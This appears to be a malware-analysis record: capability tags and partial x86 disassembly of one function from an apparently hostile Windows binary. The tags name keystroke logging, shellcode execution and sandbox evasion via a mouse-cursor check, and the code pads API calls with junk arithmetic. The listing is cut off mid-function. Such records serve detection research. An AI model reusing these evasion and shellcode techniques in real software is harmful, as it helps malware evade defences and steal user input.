Function at 0x404780
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check for unmoving mouse cursor
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get graphical window text
Hide graphical window
Initialize winsock library
Log keystrokes via polling
Resolve function by parsing pe exports
Schedule task via itaskservice
Set console window title
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x45b074
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, 0x4cf4
call fcn.00444310
mov eax, dword [0x47a240]
xor eax, esp
mov dword [esp + 0x4cf0], eax
push ebx
push esi
push edi
mov eax, dword [0x47a240]
xor eax, esp
push eax
lea eax, [esp + 0x4d38]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xac], esi
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
mov ecx, esi
call fcn.00422e8b
call fcn.004272ee
test eax, eax
jne 0x404816
push 0xffffffffffffffff
push eax
push 0x64
call fcn.00424869
xor eax, eax
mov ecx, dword [esp + 0x4d38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4cf0]
xor ecx, esp
call fcn.00442d0a
mov esp, ebp
pop ebp
ret
push 0
call fcn.00426c2e
add esp, 4
push 4
mov ecx, esi
call fcn.00422a63
push 0x90
call fcn.0040c0c6
add esp, 4
mov dword [esp + 0x24], eax
test eax, eax
mov dword [esp + 0x4d40], 0
je 0x404866
push 0x45ef0c
push 0x45ea44
push 0x45ee20
push 0x81
mov ecx, eax
call fcn.00426232
jmp 0x404868
xor eax, eax
test eax, eax
mov dword [esp + 0x4d40], 0xffffffff
je 0x4047f0
push eax
mov ecx, esi
call fcn.004240a2
call fcn.0040dfb1
mov eax, dword [eax + 8]
mov dword [esp + 0x84], eax
mov dword [0x47ba34], eax
mov dword [esp + 0x30], eax
mov eax, dword [0x47ba2c]
xor ebx, ebx
push eax
mov edi, 0xbe
push ebx
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x4c], edi
call dword [sym.imp.USER32.dll_GetDlgItem]
mov ecx, dword [0x47ba30]
mov esi, eax
push ecx
push esi
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov edx, dword [0x47ba2c]
push edx
push esi
mov dword [esp + 0x3c], eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov ecx, dword [0x47ba30]
push 0x64
lea eax, [esp + 0xa38]
push eax
push ecx
push esi
mov esi, dword [sym.imp.USER32.dll_GetDlgItemTextA]
call esi
lea eax, [esp + 0xa34]
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x404900
sub eax, ecx
jne 0x404920
mov edx, dword [esp + 0x30]
xor edi, edi
add edx, 0x75
mov dword [esp + 0x44], edi
mov dword [0x47ba30], edx
push 0x64
lea eax, [esp + 0xa38]
push eax
push 0
push 0
call esi
mov dword [0x47ba38], eax
lea eax, [esp + 0xa34]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x404940
sub eax, edx
jne 0x404953
xor edi, edi
mov dword [esp + 0x44], edi
push 0xa
lea ecx, [esp + 0xa38]
push 0
push ecx
call fcn.004442b7
mov ecx, dword [0x47ba2c]
add esp, 0xc
cmp eax, 1
jl 0x404979
cmp eax, 0xffff
jle 0x404985
mov edi, 0x11
lea ebx, [ecx + 0x10]
mov dword [esp + 0x44], edi
lea eax, [ecx + edi + 0x1fb]
sub ebx, eax
mov dword [0x47ba2c], eax
add ebx, 0x64
mov eax, 0xcccccccd
mul ebx
mov esi, edx
movzx edx, byte [esp + 0x4c]
shr esi, 2
mov eax, 0x210
sub eax, edx
mov dword [esp + 0x40], esi
jne 0x4049bc
mov dword [esp + 0x54], 1
xor eax, eax
mov dword [esp + 0x6bc], eax
mov dword [esp + 0x6c0], eax
mov dword [esp + 0x6c4], eax
mov dword [esp + 0x6c8], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push 0x12
push 0
push 0
lea ecx, [esp + 0x6c8]
push ecx
mov ebx, eax
call dword [sym.imp.SETUPAPI.dll_SetupDiGetClassDevsA]
movzx edx, bx
sub edx, dword [0x47ba38]
lea eax, [esp + 0x24a4]
sub edx, eax
add edx, dword [esp + 0x4c]
lea ecx, [esp + 0x12bc]
push str.ID_GUID
push ecx
mov dword [0x47ba2c], edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea edx, [esp + 0x12bc]
push edx
call dword [sym.imp.KERNEL32.DLL_SetConsoleTitleA]
mov ecx, dword [0x47ba40]
mov eax, dword [0x47ba38]
add ecx, 0x57
test ecx, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x38], 0
jle 0x404ab6
mov eax, dword [0x47ba30]
lea esp, [esp]
push 0
push edi
push eax
push edi
push 0
call dword [sym.imp.USER32.dll_GetMenu]
push eax
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
movzx edx, byte [0x47ba38]
mov eax, dword [0x47ba30]
add edx, eax
je 0x404a88
sub esi, edi
jmp 0x404a9a
movzx ecx, si
or eax, 0xffffffff
movzx edx, di
sub eax, ecx
sub eax, edx
mov dword [0x47ba30], eax
mov ecx, dword [esp + 0x38]
mov edx, dword [0x47ba40]
add ecx, 1
add edx, 0x57
cmp ecx, edx
mov dword [esp + 0x38], ecx
jl 0x404a60
mov dword [esp + 0x40], esi
push 0
call dword [sym.imp.SHLWAPI.dll_SHCreateShellPalette]
mov dword [esp + 0x5c], eax
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x300]
call fcn.00403300
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x3ec]
push eax
lea ecx, [esp + 0x300]
mov dword [esp + 0x4d48], 1
mov word [esp + 0x40], 0x7d
mov word [esp + 0x42], 0x34
call fcn.00404020
mov cx, word [esp + 0x54]
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x44c]
mov word [esp + 0x3e], cx
add ebx, 0x210
push eax
lea ecx, [esp + 0x300]
mov dword [esp + 0x68], ebx
mov word [esp + 0x40], di
call fcn.00404020
mov ecx, dword [esp + 0x310]
mov edx, dword [ecx + 4]
push edx
lea ecx, [esp + 0x2fc]
call fcn.00402320
mov eax, dword [esp + 0x310]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x310]
mov dword [esp + 0x314], 0
mov dword [eax], eax
mov eax, dword [esp + 0x310]
mov dword [eax + 8], eax
mov eax, dword [esp + 0x30]
push eax
push 0
call dword [sym.imp.ole32.dll_RegisterDragDrop]
cmp dword [esp + 0x34], 0
mov dword [0x47ba44], eax
jne 0x404b9a
mov dword [0x47ba3c], ebx
lea ecx, [esp + 0x2f8]
mov dword [esp + 0x4d40], 0xffffffff
call fcn.00404660
mov ecx, dword [esp + 0x84]
xor edi, edi
push 0xff
lea edx, [esp + 0x38b1]
push edi
push edx
mov dword [esp + 0x3c], edi
mov dword [esp + 0x64], ecx
mov byte [esp + 0x38b8], 0
call fcn.00443b70
xor eax, eax
mov dword [esp + 0x274], eax
mov dword [esp + 0x278], eax
mov dword [esp + 0x27c], eax
mov dword [esp + 0x84], eax
mov dword [esp + 0xec], eax
mov dword [esp + 0xf0], eax
mov dword [esp + 0xf4], eax
add esp, 0xc
lea eax, [esp + 0x188]
push eax
mov dword [esp + 0x78], edi
lea ebx, [edi + 0x2c]
mov dword [esp + 0x54], edi
mov dword [esp + 0x3c], edi
mov dword [esp + 0x40], 0xa
mov dword [esp + 0x18c], edi
mov dword [esp + 0x190], edi
mov dword [esp + 0x16c], edi
mov dword [esp + 0x170], edi
call dword [sym.imp.USER32.dll_GetCursorPos]
push 0x45f770
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [esp + 0x64], eax
lea ecx, [esp + 0x114c]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov esi, edx
shr esi, 0x1f
neg edi
add esi, edx
push 0x16
push 0
mov dword [esp + 0x21c], 0x12
mov dword [esp + 0x1f0], 0x19
call dword [sym.imp.USER32.dll_GetScrollPos]
lea ecx, [esp + 0x1e8]
push ecx
lea edx, [esp + 0x218]
push edx
push 0x16
push 0
call dword [sym.imp.USER32.dll_GetScrollRange]
xor eax, eax
mov ecx, eax
imul ecx, dword [0x47ba38]
mov eax, esi
sub eax, ecx
sub eax, dword [esp + 0x58]
add eax, edi
sub ebx, 1
mov dword [esp + 0x4c], eax
jne 0x404c80
mov ebx, dword [esp + 0x34]
lea edx, [esp + 0x24a4]
movzx edi, dl
lea eax, [esp + 0x38ac]
imul edi, eax
mov eax, dword [esp + 0x54]
movzx ecx, al
movzx edx, ax
shr edi, 5
mov dword [esp + 0x24], edi
mov dword [esp + 0x258], ecx
mov dword [esp + 0x1f8], edx
mov dword [esp + 0x148], 0x210
lea ebx, [ebx]
mov esi, dword [0x47ba40]
xor eax, eax
mov dword [esp + 0x2e8], eax
mov dword [esp + 0x2ec], eax
mov dword [esp + 0x2f0], eax
mov dword [esp + 0x2f4], eax
lea eax, [esp + 0x168]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
call dword [sym.imp.USER32.dll_GetFocus]
cmp eax, esi
jne 0x404d6f
lea ecx, [esp + 0x2e8]
push ecx
xor esi, esi
push esi
call dword [sym.imp.USER32.dll_DrawFocusRect]
jmp 0x404d71
xor esi, esi
mov eax, dword [esp + 0xac]
mov ecx, dword [esp + 0xac]
sub dword [esp + 0x3c], 1
lea edx, [esp + 0x224]
push edx
mov edx, dword [0x47ba38]
push 0x100
push eax
push ecx
push edx
mov dword [esp + 0x238], 0x100
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [0x47ba38]
movzx ecx, byte [0x47ba30]
imul eax, ebx
mov edx, dword [esp + 0x188]
sub edi, eax
sub edi, ecx
sub edi, dword [esp + 0x258]
cmp edx, dword [esp + 0x168]
mov dword [0x47ba2c], edi
jne 0x404def
mov eax, dword [esp + 0x18c]
cmp eax, dword [esp + 0x16c]
je 0x404e88
mov ecx, dword [0x47ba40]
push ecx
call dword [sym.imp.USER32.dll_GetParent]
mov edx, dword [esp + 0x44]
cmp edx, dword [esp + 0x78]
jle 0x404e51
mov eax, dword [0x47ba3c]
fild dword [esp + 0x44]
mov ecx, dword [0x47ba30]
imul eax, ebx
fstp qword [esp + 0x44]
lea edx, [eax + ecx + 0x210]
mov dword [esp + 0x58], edx
fild dword [esp + 0x58]
fstp qword [esp + 0xf4]
fldz
call fcn.004448f0
fsubr qword [esp + 0xf4]
fiadd dword [esp + 0x74]
fsubr qword [esp + 0x44]
call fcn.00444800
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x168]
fld qword [0x45f760]
mov ecx, dword [esp + 0x16c]
sub esp, 8
fstp qword [esp]
mov dword [esp + 0x190], eax
mov dword [esp + 0x194], ecx
call fcn.00443650
fstp st(0)
add esp, 8
add dword [esp + 0x50], 1
push 4
call fcn.0040c0c6
add esp, 4
cmp eax, esi
je 0x404ea1
lea edx, [esp + 0x104]
mov dword [eax], edx
jmp 0x404ea3
xor eax, eax
mov dword [esp + 0x104], eax
mov dword [esp + 0x110], esi
mov dword [esp + 0x114], esi
mov dword [esp + 0x118], esi
lea ecx, [esp + 0x1f8]
push ecx
xor ecx, ecx
push ecx
push eax
lea edx, [esp + 0x3ec]
push edx
lea ecx, [esp + 0x114]
mov dword [esp + 0x4d50], 3
call fcn.004045b0
mov edx, dword [esp + 0x110]
cmp edx, esi
jne 0x404ef9
xor ecx, ecx
jmp 0x404f04
mov ecx, dword [esp + 0x118]
sub ecx, edx
sar ecx, 1
mov eax, dword [esp + 0x114]
mov esi, eax
sub esi, edx
sar esi, 1
cmp esi, ecx
jae 0x404f26
mov word [eax], 0x210
add eax, 2
mov dword [esp + 0x114], eax
jmp 0x404f56
cmp edx, eax
mov esi, eax
jbe 0x404f31
call fcn.00443d14
mov eax, dword [esp + 0x104]
lea ecx, [esp + 0x148]
push ecx
push esi
push eax
lea edx, [esp + 0x1d8]
push edx
lea ecx, [esp + 0x114]
call fcn.004045b0
mov edi, dword [0x47ba38]
mov eax, dword [esp + 0x3c]
cmp eax, edi
je 0x4051e0
cmp eax, dword [0x47ba40]
je 0x4051e0
mov eax, dword [esp + 0x110]
cmp eax, dword [esp + 0x114]
jbe 0x404f8f
call fcn.00443d14
mov edi, dword [0x47ba38]
mov esi, dword [esp + 0x50]
test esi, esi
je 0x404fd0
lea ecx, [esp + 0x1e4]
push ecx
lea edx, [esp + 0x210]
mov eax, 1
add dword [esp + 0x3c], eax
push edx
push 0
mov dword [esp + 0x218], eax
mov dword [esp + 0x1f0], 5
call dword [sym.imp.KERNEL32.DLL_GetProcessWorkingSetSize]
mov edi, dword [0x47ba38]
cmp dword [esp + 0x44], 0
jne 0x404fe2
mov eax, dword [esp + 0x74]
mov dword [esp + 0x268], eax
mov ecx, dword [esp + 0x114]
sub ecx, dword [esp + 0x110]
test ecx, 0xfffffffe
je 0x405000
sub dword [esp + 0x114], 2
cmp esi, 1
jg 0x4051e0
xor ecx, ecx
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, dword [esp + 0x40]
jle 0x40503f
mov esi, dword [esp + 0xe8]
movzx edx, cx
imul edx, esi
sub edx, dword [esp + 0x268]
sub edx, dword [esp + 0x60]
add dword [esp + 0x78], edx
jmp 0x40505a
movzx edx, byte [esp + 0x44]
lea eax, [esp + 0x114c]
movzx esi, ax
imul esi, ebx
add esi, edx
mov dword [esp + 0xe8], esi
cmp dword [esp + 0x38], 4
jg 0x4051a7
lea eax, [edi + 4]
test eax, eax
jle 0x405119
mov esi, dword [0x47ba3c]
mov dword [esp + 0x58], eax
lea ebx, [ebx]
push 0x54
lea eax, [esp + 0x5f4]
push 0
push eax
mov dword [esp + 0x5f8], 0
call fcn.00443b70
movzx ecx, byte [esp + 0x58]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ecx, dword [esp + 0x4c]
add esp, 0xc
cmp ecx, 0x210
jne 0x4050c7
mov dword [esp + 0x40], edi
jmp 0x40510e
xor eax, eax
cdq
lea ecx, [esi + 0x36]
idiv ecx
add ebx, 0x37
mov ecx, eax
mov eax, 0x210
cdq
idiv ebx
mov ebx, dword [esp + 0x34]
sub ecx, eax
mov dword [esp + 0xf4], ecx
mov ecx, dword [esp + 0x30]
mov eax, 0x86186187
mul ecx
mov eax, dword [esp + 0xf4]
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 4
sub eax, ecx
sub eax, esi
sub eax, edi
add dword [esp + 0x4c], eax
sub dword [esp + 0x58], 1
jne 0x405080
mov edx, dword [esp + 0x64]
push 0xbb7
push edx
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
push esi
push eax
mov eax, dword [0x47ba2c]
cdq
sub eax, edx
sar eax, 1
push eax
mov eax, dword [esp + 0x50]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
cmp dword [esp + 0x5c], esi
jne 0x40515a
mov ecx, dword [0x47ba2c]
mov dword [esp + 0x30], ecx
mov eax, dword [esp + 0x110]
cmp eax, esi
mov dword [esp + 0x4d40], 0xffffffff
je 0x405179
push eax
call fcn.0040c0f1
add esp, 4
mov edx, dword [esp + 0x104]
push edx
mov dword [esp + 0x114], esi
mov dword [esp + 0x118], esi
mov dword [esp + 0x11c], esi
call fcn.0040c0f1
mov edi, dword [esp + 0x28]
add esp, 4
jmp 0x404d20
mov eax, ecx
imul eax, dword [esp + 0x78]
mov ecx, dword [0x47ba30]
cdq
and edx, 0xf
add eax, edx
movzx edx, si
imul edx, dword [0x47ba2c]
sar eax, 4
sub edx, eax
cmp edx, ecx
jl 0x4051e0
mov eax, dword [esp + 0x4c]
cdq
and edx, 3
add eax, edx
sar eax, 2
sub ecx, eax
add dword [esp + 0x54], ecx
mov eax, dword [esp + 0x54]
movzx edx, byte [0x47ba30]
mov ecx, eax
sub ecx, edi
cmp ecx, edx
jge 0x405207
movzx eax, word [0x47ba2c]
add eax, dword [0x47ba44]
mov dword [0x47ba2c], eax
jmp 0x40521f
movzx ecx, di
imul ecx, dword [0x47ba40]
add ecx, dword [0x47ba2c]
add ecx, eax
mov dword [0x47ba30], ecx
mov eax, dword [esp + 0x110]
test eax, eax
mov dword [esp + 0x4d40], 0xffffffff
je 0x40523e
push eax
call fcn.0040c0f1
add esp, 4
mov edx, dword [esp + 0x104]
xor esi, esi
push edx
mov dword [esp + 0x114], esi
mov dword [esp + 0x118], esi
mov dword [esp + 0x11c], esi
call fcn.0040c0f1
mov eax, dword [0x47ba30]
mov edi, dword [0x47ba40]
add esp, 4
lea ecx, [eax + eax - 5]
push edi
mov dword [0x47ba30], ecx
call dword [sym.imp.USER32.dll_HideCaret]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
call dword [sym.imp.USER32.dll_SetCursor]
push 0x80
lea edx, [esp + 0x32b0]
push edx
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [0x47ba40], eax
lea eax, [esp + 0x6cc]
push eax
push edi
call dword [sym.imp.USER32.dll_BeginPaint]
mov ecx, dword [0x47ba30]
mov esi, eax
mov eax, dword [esp + 0xac]
lea edx, [ecx + ecx - 4]
sub edx, dword [esp + 0x34]
push eax
push esi
mov dword [0x47ba30], edx
call dword [sym.imp.GDI32.dll_SelectObject]
mov ebx, dword [sym.imp.USER32.dll_GetSysColor]
push 0x12
call ebx
push eax
push esi
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0xf
call ebx
push eax
push esi
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0x1e
push 0
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov ecx, dword [esp + 0x44]
cmp dword [esp + 0x40], ecx
jne 0x405325
mov edx, dword [0x47ba30]
mov eax, dword [esp + 0x5c]
add eax, edx
add dword [0x47ba2c], eax
lea ecx, [esp + 0x2d8]
push ecx
push edi
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [esp + 0xac]
push edx
lea eax, [esp + 0x2dc]
push eax
push esi
call dword [sym.imp.USER32.dll_FillRect]
lea eax, [esp + 0x32ac]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405355
mov ebx, dword [esp + 0x44]
fild dword [0x47ba2c]
sub eax, edx
sar eax, 1
fmul qword [0x45f758]
push 0
push eax
mov eax, ebx
neg eax
sbb eax, eax
lea ecx, [esp + 0x32b4]
push ecx
lea edx, [esp + 0x2e4]
and eax, 0x80
push edx
or eax, 0x404
push eax
call fcn.00444800
mov ecx, eax
mov eax, dword [esp + 0x2f8]
cdq
sub eax, edx
sar eax, 1
sub eax, ecx
push eax
mov eax, dword [esp + 0x2f8]
cdq
sub eax, edx
sar eax, 1
push eax
push esi
call dword [sym.imp.GDI32.dll_ExtTextOutW]
lea edx, [esp + 0x6cc]
push edx
push edi
call dword [sym.imp.USER32.dll_EndPaint]
cmp dword [esp + 0x34], 0
je 0x4053ef
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x34]
push eax
push ebx
push ecx
push edi
push 0x401c20
call dword [sym.imp.USER32.dll_CallWindowProcA]
mov edx, dword [esp + 0x84]
xor eax, eax
xor esi, esi
mov ecx, 1
sub ecx, dword [esp + 0x54]
mov dword [esp + 0xe0], eax
imul ecx, esi
mov dword [esp + 0xe8], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x268], eax
mov dword [esp + 0x26c], eax
imul eax, dword [0x47ba30]
push 0x45f750
sub ecx, eax
sub ecx, dword [0x47ba44]
push esi
push esi
sub ecx, 1
push esi
mov dword [esp + 0x54], edx
mov dword [esp + 0x40], esi
mov dword [esp + 0x84], ecx
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push 4
mov dword [esp + 0x68], eax
call fcn.0040c0c6
add esp, 4
cmp eax, esi
je 0x40547d
lea ecx, [esp + 0x88]
mov dword [eax], ecx
jmp 0x40547f
xor eax, eax
mov dword [esp + 0x88], eax
xor eax, eax
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], eax
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], eax
push 1
lea ecx, [esp + 0x8c]
mov dword [esp + 0x4d44], 4
call fcn.00404090
mov eax, dword [esp + 0xa4]
mov edx, dword [esp + 0xa0]
lea edi, [eax + edx]
mov eax, dword [esp + 0x9c]
mov esi, edi
shr esi, 4
cmp eax, esi
ja 0x4054e0
sub esi, eax
mov ecx, dword [esp + 0x98]
cmp dword [ecx + esi*4], 0
jne 0x405501
push 0x10
call fcn.0040c0c6
mov edx, dword [esp + 0x9c]
add esp, 4
mov dword [edx + esi*4], eax
mov eax, dword [esp + 0x98]
and edi, 0xf
add edi, dword [eax + esi*4]
je 0x405513
mov byte [edi], 0
add dword [esp + 0xa4], 1
test byte [esp + 0xa0], 0xf
jne 0x405549
mov ecx, dword [esp + 0xa4]
add ecx, 0x10
shr ecx, 4
cmp dword [esp + 0x9c], ecx
ja 0x405549
push 1
lea ecx, [esp + 0x8c]
call fcn.00404090
mov edi, dword [esp + 0xa0]
test edi, edi
jne 0x40555e
mov edi, dword [esp + 0x9c]
shl edi, 4
mov edx, dword [esp + 0x98]
sub edi, 1
mov esi, edi
shr esi, 4
cmp dword [edx + esi*4], 0
jne 0x405587
push 0x10
call fcn.0040c0c6
mov ecx, dword [esp + 0x9c]
add esp, 4
mov dword [ecx + esi*4], eax
mov edx, dword [esp + 0x98]
mov esi, dword [edx + esi*4]
mov eax, edi
and eax, 0xf
add esi, eax
je 0x40559d
mov byte [esi], 1
movzx ecx, word [0x47ba30]
imul ecx, dword [esp + 0x257b]
add dword [esp + 0xa4], 1
add dword [esp + 0x44], ecx
test eax, eax
mov dword [esp + 0xa0], edi
jne 0x4055ee
mov edx, dword [esp + 0xa4]
add edx, 0x10
shr edx, 4
cmp dword [esp + 0x9c], edx
ja 0x4055ee
push 1
lea ecx, [esp + 0x8c]
call fcn.00404090
mov edi, dword [esp + 0xa0]
test edi, edi
jne 0x4055fc
mov edi, dword [esp + 0x9c]
shl edi, 4
mov eax, dword [esp + 0x98]
sub edi, 1
mov esi, edi
shr esi, 4
cmp dword [eax + esi*4], 0
jne 0x405625
push 0x10
call fcn.0040c0c6
mov ecx, dword [esp + 0x9c]
add esp, 4
mov dword [ecx + esi*4], eax
mov edx, dword [esp + 0x98]
mov eax, edi
and eax, 0xf
add eax, dword [edx + esi*4]
je 0x405639
mov byte [eax], 0
mov eax, dword [esp + 0xa4]
sub dword [esp + 0x4c], 0x210
add eax, 1
test eax, eax
mov dword [esp + 0xa0], edi
mov dword [esp + 0xa4], eax
jne 0x40567e
fild dword [esp + 0x80]
sub esp, 8
fstp dword [esp + 0x2c]
fld dword [esp + 0x2c]
fstp qword [esp]
call fcn.00443650
fstp st(0)
add esp, 8
jmp 0x40568d
mov eax, dword [esp + 0x44]
lea ecx, [eax + eax]
sub ecx, dword [esp + 0x60]
mov dword [esp + 0x44], ecx
cmp dword [esp + 0xa4], 0
je 0x4056e1
mov edx, dword [esp + 0x44]
fild dword [esp + 0x44]
test edx, edx
jge 0x4056a9
fadd dword [0x45f74c]
sub esp, 8
fstp qword [esp]
call fcn.00443650
fstp dword [esp + 0x2c]
add esp, 8
fld dword [esp + 0x24]
fstp dword [esp + 0x24]
fild dword [0x47ba44]
fadd dword [esp + 0x24]
fiadd dword [esp + 0x40]
fiadd dword [0x47ba2c]
call fcn.00444800
mov dword [0x47ba2c], eax
mov eax, dword [esp + 0xa4]
mov ecx, dword [esp + 0xa0]
lea edx, [eax + ecx]
test dl, 0xf
jne 0x405714
add eax, 0x10
shr eax, 4
cmp dword [esp + 0x9c], eax
ja 0x405714
push 1
lea ecx, [esp + 0x8c]
call fcn.00404090
mov eax, dword [esp + 0xa4]
mov ecx, dword [esp + 0xa0]
lea edi, [eax + ecx]
mov eax, dword [esp + 0x9c]
mov esi, edi
shr esi, 4
cmp eax, esi
ja 0x405737
sub esi, eax
mov edx, dword [esp + 0x98]
cmp dword [edx + esi*4], 0
jne 0x405758
push 0x10
call fcn.0040c0c6
mov ecx, dword [esp + 0x9c]
add esp, 4
mov dword [ecx + esi*4], eax
mov edx, dword [esp + 0x98]
and edi, 0xf
add edi, dword [edx + esi*4]
je 0x40576a
mov byte [edi], 0
add dword [esp + 0xa4], 1
lea ecx, [esp + 0x88]
call fcn.00402360
mov esi, dword [0x47ba38]
mov edi, dword [esp + 0x30]
xor eax, eax
add esi, 0x5e
cmp esi, eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x58], 0xa
mov dword [esp + 0x170], eax
mov dword [esp + 0x174], eax
mov dword [esp + 0x1b4], eax
mov dword [esp + 0x1b8], eax
je 0x4057f7
lea ecx, [ecx]
imul edi, dword [esp + 0x5c]
imul edi, dword [esp + 0x40]
mov eax, 0xaaaaaaab
mul edi
movzx eax, word [esp + 0x54]
shr edx, 3
mov edi, edx
sub edi, eax
push 1
sub esi, 1
add edi, ebx
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
jne 0x4057f3
mov dword [0x47ba2c], eax
test esi, esi
jne 0x4057c0
movzx eax, word [0x47ba30]
xor ecx, ecx
add eax, ecx
mov dword [esp + 0x24], eax
lea eax, [esp + 0x170]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
cmp dword [0x47ba38], 0
jne 0x405821
xor ebx, ebx
jmp 0x40583a
movzx ecx, byte [esp + 0x60]
mov edx, dword [esp + 0x34]
sub edx, ecx
sub edx, ebx
add edx, 0x210
mov dword [0x47ba2c], edx
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
lea eax, [esp + 0x1b4]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
push 0x28
push esi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ecx, dword [esp + 0x74]
add dword [esp + 0xe0], ecx
mov ecx, dword [esp + 0x1b4]
cmp dword [esp + 0x170], ecx
jne 0x4058b9
mov edx, dword [esp + 0x174]
cmp edx, dword [esp + 0x1b8]
jne 0x4058b9
movzx ebx, word [0x47ba44]
sub ebx, dword [0x47ba2c]
mov eax, dword [esp + 0x34]
sub ebx, dword [esp + 0x60]
push 0x45f740
add ebx, dword [esp + 0x58]
movzx edi, al
sub edi, dword [esp + 0x28]
push ebx
push 0x10
push 0
push eax
call dword [sym.imp.USER32.dll_InsertMenuA]
jmp 0x40591e
mov eax, dword [0x47ba3c]
lea esi, [eax + 0x4e]
movzx eax, word [0x47ba40]
cdq
idiv esi
mov edx, eax
xor eax, eax
movzx eax, al
imul edx, eax
mov eax, dword [esp + 0x74]
movzx esi, ax
add esi, edi
cmp esi, edx
ja 0x4058ef
movzx edx, al
mov eax, dword [esp + 0x54]
sub eax, edx
add dword [esp + 0x40], eax
cmp word [esp + 0x4c], 0
mov dword [esp + 0x170], ecx
mov ecx, dword [esp + 0x1b8]
mov dword [esp + 0x174], ecx
jne 0x405919
mov edx, dword [esp + 0x40]
lea eax, [esp + edx + 0x24a4]
add ebx, eax
add dword [esp + 0x44], 1
cmp dword [esp + 0x44], 0
je 0x405935
push str.Shell_IDList_Array
call dword [sym.imp.USER32.dll_RegisterClipboardFormatA]
add dword [esp + 0x38], 1
mov esi, dword [0x47ba2c]
mov ecx, esi
neg ecx
cmp dword [esp + 0x5c], ecx
jb 0x405954
lea edx, [esp + 0x24a4]
mov dword [0x47ba2c], edx
jmp 0x405989
mov eax, dword [esp + 0x60]
lea ecx, [eax + 0x60]
movzx eax, di
cdq
idiv ecx
mov ecx, eax
imul ecx, dword [0x47ba30]
imul ecx, esi
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, dword [0x47ba40]
mov dword [0x47ba2c], eax
mov ecx, dword [0x47ba40]
add ecx, 4
cmp dword [esp + 0x38], ecx
ja 0x4059c5
cmp dword [esp + 0x44], 1
ja 0x4059c5
mov edx, dword [esp + 0x64]
push 0xbb6
push edx
mov dword [esp + 0x3a4], 0
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
sub dword [esp + 0x58], 1
jne 0x405814
lea eax, [esp + 0x1e0]
push eax
push 0x1f6
lea ecx, [esp + 0x42fc]
push ecx
lea edx, [esp + 0x3ef0]
mov dword [esp + 0x50], ebx
xor ebx, ebx
push edx
mov dword [esp + 0x1f0], ebx
call sub.NETAPI32.dll_NetShareGetInfo
lea ecx, [esp + 0x88]
mov dword [esp + 0x4d40], 0xffffffff
call fcn.00402360
mov eax, dword [esp + 0x88]
push eax
call fcn.0040c0f1
mov ecx, dword [esp + 0x88]
xor eax, eax
push 0x206
push eax
lea edx, [esp + 0x39ba]
mov edi, eax
push edx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x74], ecx
mov dword [esp + 0x64], 1
mov dword [esp + 0xf0], eax
mov dword [esp + 0xf8], edi
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], eax
mov esi, ebx
mov word [esp + 0x39bc], ax
call fcn.00443b70
add esp, 0x10
push 0x45f728
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [esp + 0x148], eax
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x2c0]
call fcn.00403390
lea edx, [esp + 0x24]
